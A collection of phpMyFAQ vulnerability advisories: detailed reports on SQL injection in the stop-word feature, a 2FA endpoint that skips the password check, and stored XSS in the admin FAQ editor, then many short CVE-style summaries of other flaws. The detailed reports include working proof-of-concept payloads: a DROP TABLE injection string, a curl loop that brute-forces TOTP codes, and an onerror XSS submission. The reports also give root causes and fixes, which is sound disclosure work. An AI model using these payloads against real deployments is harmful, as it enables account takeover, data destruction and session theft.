Summary
The StopWords::add() method in phpMyFAQ builds a SQL INSERT statement using sprintf() and inserts the user-supplied stop word value directly into the query string without calling the application's database escaping function on it. A sibling method, StopWords::update(), which modifies an existing stop word, correctly escapes the same kind of input. The omission is isolated to the add() (insert) code path.
An authenticated administrator who can reach the stop-word management feature can submit a crafted value as the "word" parameter that breaks out of the SQL string literal and injects arbitrary SQL, including statements to drop tables, exfiltrate data, or modify other rows in the database.
---
Affected Code
File: phpmyfaq/src/phpMyFAQ/StopWords.php Method: add() (approx. lines 60–75 in the audited revision)
php $sql = sprintf( "INSERT INTO %s VALUES(%d, '%s', '%s')", $this->getTableName(), $id, $this->configuration->getDb()->escape($this->language), // language IS escaped $word // <-- $word is NOT escaped );
$word is taken directly from the administrative form input (the new stop word to add) and concatenated into the SQL string via sprintf("'%s'", ...) with no call to the database driver's escape() method.
Contrast with the safe sibling method
Method: update() (line 82 in the audited revision)
php $this->configuration->getDb()->escape($word)
update() — which modifies an existing stop word — correctly escapes $word before use. add() does not perform the same escaping on the equivalent value. This inconsistency between two methods handling the same data type is the root cause: the escaping convention used throughout the rest of the file was not applied uniformly to this one insertion path.
---
Proof of Concept
Precondition: Attacker has valid administrator credentials (or has otherwise obtained an authenticated administrator session, e.g. via a separate session-hijacking or CSRF vector).
Attack steps:
1. Authenticate to the phpMyFAQ administration panel. 2. Navigate to the Stop Words management feature. 3. Submit a new stop word with the following value instead of a normal word:
test', 'en'); DROP TABLE faqstopwords; --
4. The resulting SQL statement sent to the database becomes (table/column names approximate, based on the traced sprintf template):
sql INSERT INTO faqstopwords VALUES(1, 'en', 'test', 'en'); DROP TABLE faqstopwords; --')
5. The injected DROP TABLE faqstopwords; statement executes as a second SQL statement (subject to the database driver/PDO configuration permitting multi-statement execution; even where multi-statement execution is disabled, the same injection point allows classic single-statement SQLi techniques such as UNION-based data extraction or boolean/time-based blind injection against other tables the database user can access).
---
Impact
- Confidentiality: An attacker with this access can use UNION-based or blind SQL injection techniques to read data from other tables in the database (e.g. user credentials, FAQ content marked as private/internal, session data) that the database user account has permission to access. - Integrity: Arbitrary INSERT/UPDATE/DELETE statements can be appended, allowing modification of unrelated application data. - Availability: As demonstrated in the PoC, structural statements like DROP TABLE can be injected, directly impacting application availability.
Mitigating factor: Exploitation requires an authenticated administrator session. This is not exploitable by an anonymous or low-privilege user. This lowers the severity from Critical/High to Medium, consistent with phpMyFAQ's own threat model where administrators are a trusted role — but it remains a genuine defense-in-depth failure: a compromised or malicious admin account (or an admin tricked via a separate vector such as CSRF, if no CSRF protection exists on this specific form) can leverage this into full database compromise, which a properly parameterized query would have prevented even in that scenario.
---
Root Cause
The codebase's established pattern for this class (StopWords.php) is to escape all string values via $this->configuration->getDb()->escape($value) before placing them into a sprintf()-built SQL string. This pattern is correctly applied to:
- $this->language in add() - $word in update()
It is not applied to $word in add(). This is a single-line omission, not a structural design flaw — the safe pattern already exists in the same file and the same class, just inconsistently applied across the two methods that handle the same input type.
---
Recommended Fix
Apply the same escaping already used in update() and already used for $this->language in the same add() method:
php $sql = sprintf( "INSERT INTO %s VALUES(%d, '%s', '%s')", $this->getTableName(), $id, $this->configuration->getDb()->escape($this->language), $this->configuration->getDb()->escape($word) // FIX: escape $word here );
Stronger recommended fix (defense in depth): Migrate this query, and ideally all sprintf()-built SQL in this class, to parameterized/prepared statements (e.g. PDO::prepare() with bound parameters) rather than string-escaping plus sprintf(). Escaping is correct when applied consistently, but prepared statements remove this entire vulnerability class structurally and prevent any future omission of this kind from being exploitable.
Summary The public two-factor verification endpoint POST /check logs a user in based solely on a valid 6-digit TOTP token and a chosen user-id. It does not require — and is not bound to — a prior successful password authentication. For any account that has 2FA enabled, an unauthenticated attacker can authenticate without knowing the password, reducing the account to a single factor (a 6-digit code) that is itself brute-forceable because this endpoint has no lockout (see Finding #2). This is an authentication bypass of the primary credential for all 2FA-protected accounts, including administrators.
Details src/phpMyFAQ/Controller/Frontend/AuthenticationController.php:255-283:
php #[Route(path: '/check', name: 'public.auth.check', methods: ['POST'])] public function check(Request $request): RedirectResponse { if ($this->currentUser->isLoggedIn()) { return new RedirectResponse(url: './'); }
$token = Filter::filterVar($request->request->get('token'), FILTERSANITIZESPECIALCHARS); $userId = (int) Filter::filterVar($request->request->get('user-id'), FILTERVALIDATEINT);
if ($userId <= 0) { / ... / }
$this->currentUserService->getUserById($userId); // loads attacker-chosen user
if (strlen((string) $token) === 6) { $result = $this->twoFactor->validateToken($token, $userId); if ($result) { $this->currentUserService->twoFactorSuccess(); // full login, no password ever checked return new RedirectResponse(url: './'); } } // ... }
twoFactorSuccess() performs a complete session login (src/phpMyFAQ/User/CurrentUser.php:239-247):
php public function twoFactorSuccess(): bool { $this->setLoggedIn(true); $this->updateSessionId(true); $this->saveToSession(); $this->setSuccess(true); return true; }
There is no server-side state (such as a "password already verified for this user" flag) tying the /check step to the password step. Compare the admin flow, which does it correctly via a 2fapendinguserid session value set only after the password is validated (src/phpMyFAQ/Controller/Administration/AuthenticationController.php:218-262) — proving the frontend omission is a regression, not an intended design.
validateToken() (src/phpMyFAQ/User/TwoFactor.php:87-101) returns false when the user has no secret, so this is not a universal bypass of all accounts — it specifically defeats the password factor of every 2FA-enabled account:
php public function validateToken(string $token, int $userId): bool { if (strlen($token) !== 6 || $userId <= 0) { return false; } $this->currentUser->getUserById($userId); $secret = $this->currentUser->getUserData('secret'); if (!isstring($secret) || $secret === '') { return false; } // no 2FA -> false return $this->twoFactorAuth->verifyCode($secret, $token); // 6-digit TOTP only }
Because /check has no failed-attempt lockout and the per-account login throttle is disabled by default (Finding #2), the 6-digit code can be brute-forced across TOTP windows. The net effect: 2FA, intended to strengthen the password, becomes the only barrier and is independently guessable.
PoC Pre-req: a target account (e.g. admin) has 2FA enabled (a common hardening choice). The attacker knows or enumerates the numeric user-id (1 = first/admin account in default installs).
bash No password required. Submit user-id + a 6-digit TOTP guess to /check. Iterate the token space; the session cookie returned on success is an authenticated session. for code in $(seq -w 0 999999); do curl -ks -c jar.txt -b jar.txt \ -X POST "https://target/check" \ --data-urlencode "user-id=1" \ --data-urlencode "token=$(printf '%06d' 10#$code)" \ -o /dev/null -w "%{httpcode} %{redirecturl}\n" \ | grep -q './' && echo "[+] logged in with token $code" && break done A successful guess yields a logged-in session in jar.txt -> full account takeover (no password used). If the attacker already controls or has phished the victim's TOTP device, a single request authenticates with no password at all.
Impact Authentication bypass (CWE-287) / missing authentication for a critical step (CWE-306). The password — the primary credential — is never required for any 2FA-enabled account. Combined with the absent lockout, this enables full account takeover of users and administrators. Impacted: any deployment where users enable two-factor authentication.
Summary A stored cross-site scripting (XSS) vulnerability in phpMyFAQ allows any unauthenticated user (or low-privileged registered user) to inject arbitrary JavaScript that executes in an administrator's browser when they review or edit a user-submitted FAQ entry. This leads to admin account takeover via session theft. The vulnerability exists because htmlentitydecode() converts HTML entities into executable HTML after striptags() has already passed them through, and the admin template renders the content with Twig's |raw filter without any output sanitization.
Details Vulnerable file: phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/FaqController.php (lines 109-115)
php $answer = Filter::filterVar($data->answer, FILTERSANITIZESPECIALCHARS); if ($this->configuration->get(item: 'main.enableWysiwygEditorFrontend')) { $answer = trim(htmlentitydecode((string) $answer)); }
Root cause:
Filter::filterVar() with FILTERSANITIZESPECIALCHARS internally calls filterSanitizeString() which applies striptags() to remove HTML tags. However, striptags() only removes actual HTML tag syntax (e.g., <script>) — it does NOT remove HTML entities (e.g., <script>).
When enableWysiwygEditorFrontend is true, htmlentitydecode() is subsequently called, which converts the surviving HTML entities into real, executable HTML. No server-side HTML sanitizer (such as the Symfony HtmlSanitizer already used elsewhere in the codebase) is applied before storing the content in the database.
Vulnerable sink (admin template): phpmyfaq/assets/templates/admin/content/faq.editor.twig (line 127)
twig <textarea id="editor" name="answer" class="form-control" rows="7" placeholder="{{ 'msgAnswer' | translate }}" {{ faqData['content'] | raw }}</textarea>
The admin FAQ editor controller (Administration/FaqController.php) loads the FAQ content directly from the database and passes it to the template without sanitization:
php $this->faq->getFaq($faqId, null, true); $faqData = $this->faq->faqRecord; // Raw content from DB
Note: The public-facing FAQ view IS properly sanitized via FaqHelper::cleanUpContent() which uses Symfony HtmlSanitizer. Only the admin edit view is vulnerable.
PoC Prerequisites: - main.enableWysiwygEditorFrontend = true (non-default, but commonly enabled for rich-text user FAQ contributions) - records.allowNewFaqsForGuests = true (DEFAULT value — guests can submit FAQs) - At least one FAQ category must exist
Step 1: Inject XSS payload as unauthenticated guest
bash curl -X POST https://TARGET/api/faq/create \ -H 'Content-Type: application/json' \ -d '{ "name": "Legitimate User", "email": "user@example.com", "question": "How to configure SMTP settings?", "answer": "</textarea><img src=x onerror=alert(document.domain)><textarea>", "lang": "en", "keywords": "smtp email", "rubrik": ["1"], "captcha": "<valid-captcha-or-empty-if-disabled>" }'
Response: {"success":"Thank you for your suggestion!"}
Processing trace: 1. Input answer: </textarea><img src=x onerror=alert(document.domain)><textarea> 2. filterSanitizeString() → striptags() finds no actual <tag> syntax → string passes through unchanged 3. htmlentitydecode() converts entities → </textarea><img src=x onerror=alert(document.domain)><textarea> 4. Stored in database as raw executable HTML
Step 2: Admin triggers XSS by reviewing the submitted FAQ
When an administrator navigates to edit the submitted FAQ entry: GET /admin/faq/edit/{faqId}/{lang}
The admin template renders: html <textarea id="editor" name="answer" class="form-control" rows="7" placeholder="Answer" </textarea><img src=x onerror=alert(document.domain)><textarea></textarea>
The </textarea> breaks out of the editor textarea element, and the <img onerror=...> executes JavaScript immediately in the admin's browser context.
<img width="1387" height="562" alt="admin stored xss alert poc" src="https://github.com/user-attachments/assets/98d6a40d-1e21-41dc-8705-102876b9cf8a" /> <img width="1393" height="805" alt="admin stored xss poc" src="https://github.com/user-attachments/assets/7362a324-e779-4157-be4f-9d35fbe25333" />
Note: For logged-in users submitting FAQs, the captcha check is automatically bypassed (BuiltinCaptcha::checkCaptchaCode() returns true when user is logged in).
Impact - Stored XSS targeting administrators — every FAQ submission is reviewed by an admin, guaranteeing payload delivery - Admin account takeover — attacker can steal session cookies, create new admin accounts, or modify system configuration - No special privileges required — default configuration allows guest FAQ submissions (records.allowNewFaqsForGuests = true) - Public view is unaffected — the public FAQ display uses Symfony HtmlSanitizer which strips event handlers; only the admin panel is vulnerable
phpMyFAQ versions before 4.1.8 contain a stored cross-site scripting vulnerability in FaqHelper::convertOldInternalLinks() that calls htmlentitydecode() on sanitized FAQ content, reversing entity-encoding protection. Authenticated users with FAQ editing privileges can inject JavaScript payloads that execute in the browsers of all users viewing the affected FAQ pages.
phpMyFAQ before 4.1.8 contains an authorization bypass vulnerability in the question creation endpoint where the isAddingQuestionsAllowed() method grants access to all callers when main.enableAskQuestions is enabled, ignoring the records.allowQuestionsForGuests setting. Unauthenticated attackers can submit questions via the question/create API endpoint to bypass guest submission restrictions and inject spam into the admin moderation queue.
phpMyFAQ before 4.1.8 contains an authentication bypass vulnerability in its two-factor authentication (TOTP) disable functionality. The removeTwofactorConfig() handler (reachable via POST /api/user/remove-twofactor) verifies only that the user is logged in and that a valid CSRF token is supplied, then disables TOTP without requiring password re-entry or a current TOTP code. The same downgrade is also reachable inline via PUT /api/user/data/update, which accepts a plain twofactorenabled form field under the same session+CSRF-only guard. An attacker who has hijacked a user's session can silently strip two-factor protection from any account, including administrator accounts, after which password-only authentication succeeds.
phpMyFAQ before 4.2.0-alpha.2 contains a missing authorization vulnerability in the admin dashboard API endpoints searches and content-health that enforce only authentication without permission checks. Any authenticated user can access these endpoints to read site-wide search statistics and content-health counters regardless of their privilege level.
phpMyFAQ versions before 4.1.8 include live TOTP shared secrets in plaintext within user data export ZIP files. Attackers obtaining exported archives can extract the TOTP seed and generate valid one-time codes to bypass two-factor authentication.
phpMyFAQ versions before 4.1.8 fail to validate CAPTCHA when the store parameter is set to 'now' in question submission requests. Unauthenticated attackers can bypass CAPTCHA protection and submit unlimited questions directly, causing database pollution and triggering outgoing mail notifications.
phpMyFAQ before 4.1.7 fails to apply parent FAQ visibility checks before returning child resources including comments and attachments. Unauthenticated attackers can retrieve restricted comment text, commenter email addresses, and attachment filenames for FAQ records they cannot directly access by querying the comments and attachments API endpoints.
phpMyFAQ before 4.1.7 contains a brute-force vulnerability in the two-factor authentication step where the failure counter is session-scoped and reset on each successful password re-authentication. Attackers with a valid password can bypass the five-attempt limit by obtaining a fresh session cookie and repeatedly re-authenticating to reset the counter, enabling unbounded TOTP code guessing.
phpMyFAQ before 4.1.7 fails to persist the WebAuthn login challenge generated by prepareForLogin, because neither WebAuthn controller saves the mutated key objects back to the database. At login the anti-replay comparison is skipped by its own null guard, allowing an attacker who captures a successful WebAuthn assertion to replay it indefinitely and authenticate as the user without any interaction or hardware key.
phpMyFAQ before 4.1.7, when configured to use PostgreSQL via the native pgsql PHP extension, declares an incorrect LIKE ESCAPE character ('=') in the Search/Database/Pgsql.php backend while escapeLikeWildcards() escapes user input with the '|' prefix. As a result, wildcard escaping is a no-op and user-supplied % and characters remain active LIKE wildcards. An unauthenticated attacker can submit such characters in the public FAQ search form to force maximally broad pattern matches and expensive sequential scans, resulting in a denial of service. The PDO PostgreSQL backend is not affected, and quotes remain escaped so this does not enable quote-breaking SQL injection or data exfiltration.
phpMyFAQ before 4.1.6 does not adequately sanitize HTML in FAQ answers before generating PDFs via TCPDF. An attacker with permission to create or edit FAQ content can embed an <img> tag whose src references a local file under the web root's content/ directory (e.g., content/core/config/database.php). When the PDF is generated, phpMyFAQ attempts to read the referenced file; because it is not a valid image the resulting error is converted into an uncaught exception whose stack trace discloses part of the file's contents to any user who triggers the PDF export. By default the disclosed portion is truncated (zend.exceptionstringparammaxlen), but a larger configured value can result in disclosure of entire files, including database credentials.
phpMyFAQ before 4.1.7 fails to properly enforce CONFIGURATIONEDIT permission on admin API read endpoints for LDAP, Elasticsearch, OpenSearch, and dashboard configuration, allowing any authenticated user to access sensitive administrative data. Attackers can retrieve LDAP server topology, bind account names, search bases, index statistics, and site analytics by calling these endpoints with a valid session.
phpMyFAQ versions before v4.1.6 fail to validate the security.enableRegistration setting in API endpoints, allowing attackers to create user accounts when registration is disabled. Attackers can bypass the registration restriction by submitting requests to POST /api/register or POST /api/v3.1/register endpoints, which do not check the configuration flag enforced by the HTML registration page.
phpMyFAQ versions 3.1.0 through 4.1.6 contain an authentication bypass vulnerability in AuthLdap::create(). When LDAP authentication is enabled, after a successful LDAP bind the code calls User::setStatus('active') unconditionally, which overwrites the accountstatus column of a pre-existing local account from 'blocked' to 'active'. As a result, a user whose local phpMyFAQ account has been administratively blocked can restore their account and log in by authenticating via LDAP. The state transition is not logged, so administrators cannot detect that the block was overridden. Fixed in 4.1.7.
phpMyFAQ before 4.1.7 contains a two-factor authentication bypass vulnerability where remember-me tokens are issued before 2FA verification completes. Attackers with valid credentials can obtain a remember-me cookie, skip the 2FA challenge, and replay the cookie to gain full authenticated access without second-factor verification.
phpMyFAQ versions before 4.1.7 fail to validate active status in the PDF export endpoint, allowing unauthenticated attackers to retrieve draft FAQ metadata. Attackers can access the public PDF export route with sequential FAQ identifiers to obtain titles, solution IDs, author names, and last-update timestamps of inactive or unpublished FAQs.
phpMyFAQ before v4.1.6 writes content backup ZIP archives to the web-accessible document root at content.zip, exposing sensitive files including database credentials. Unauthenticated attackers can race concurrent requests to download the temporary ZIP file before deletion, or exploit XSS in admin contexts to trigger authenticated backups and retrieve the archive.
phpMyFAQ before 4.1.7 contains a SQL injection vulnerability in the glossary create and update endpoints caused by truncating an escaped string before embedding it in a SQL literal. Authenticated users with glossary add or edit permissions can craft a payload with a dangling backslash to escape the closing quote and inject arbitrary SQL commands to read sensitive database information.
phpMyFAQ before 4.1.7 contains an authentication bypass vulnerability in SetupController that allows unauthenticated attackers to run database migrations and create configuration backups when maintenance mode is enabled. Attackers can call POST /api/setup/update-database and POST /api/setup/backup endpoints to execute database updates, disable maintenance mode, and extract database credentials from generated ZIP archives.
phpMyFAQ before 4.1.7 stores password reset tokens in a publicly accessible tracking file when user tracking is enabled. Unauthenticated attackers can read the tracking file at content/core/data/trackingDDMMYYYY to extract reset tokens and replay them against the password reset API to take over user accounts.
phpMyFAQ before 4.1.6 contains a privilege escalation vulnerability in GroupController::updateMembers() that allows administrators with only group-management permissions to join privileged groups without verification of required rights. Attackers can add themselves to pre-existing groups holding user-management rights and immediately inherit those permissions to modify or delete user accounts.
phpMyFAQ before v4.1.6 contains a remote code execution vulnerability in the configuration API that allows authenticated administrators with CONFIGURATIONEDIT and ATTACHMENTADD privileges to write arbitrary PHP files by manipulating the upgrade.lastDownloadedPackage setting. Attackers can upload a malicious ZIP file as an attachment, point the updater configuration to its stored path, and extract it into the application root to achieve code execution as the web server user.
phpMyFAQ before 4.1.6 fails to validate path traversal sequences in the existingimage field during category updates, allowing authenticated attackers to delete arbitrary files by exploiting insufficient sanitization in Image::delete(). Attackers can delete the database.php configuration file to disable the installation gate and access the public setup wizard to create new superadmin accounts.
phpMyFAQ before 4.1.5 contains a privilege escalation vulnerability in the user/add API endpoint that allows non-SuperAdmin administrators to create SuperAdmin accounts. A delegated administrator with USERADD/EDIT/DELETE permissions can call POST /admin/api/user/add with isSuperAdmin: true and attacker-chosen credentials to create a SuperAdmin account, then authenticate as that account to achieve full instance takeover.
phpMyFAQ before 4.1.5 applies inconsistent active=yes and publication-date filtering across its public FAQ API endpoints, allowing unauthenticated attackers to retrieve inactive (draft or review-only) FAQ content. Specifically, GET /api/v3.1/faq/{categoryId}/{faqId} returns the inactive FAQ title and full answer, while GET /api/v3.1/faqs/tags/{tagId} and GET /api/v4.0/faqs/tags/{tagId} return the inactive FAQ title and answer preview, disclosing non-public content.
phpMyFAQ before 4.1.5 contains a potential authenticated path traversal vulnerability in the concatenatePaths() function within src/phpMyFAQ/Export/Pdf/Wrapper.php. A user with FAQ editing privileges can store HTML containing crafted image paths that are processed during PDF generation. The path resolution logic locates the substring "content" within a user-controlled path using strpos(); when "content" is absent, strpos() returns false, which becomes 0 when cast to an integer, preserving the entire attacker-controlled path. This path is later passed to filegetcontents() without canonicalization or root-directory containment validation, which may allow reading of files outside the intended content directory.
phpMyFAQ before 4.1.5 contains a privilege escalation vulnerability in GroupController::updatePermissions that allows GROUPEDIT administrators to grant arbitrary rights to groups without verifying they hold those rights themselves. A delegated administrator can exploit this by assigning high-value permissions to a group they belong to, inheriting those rights and escalating privileges up to full administrative control.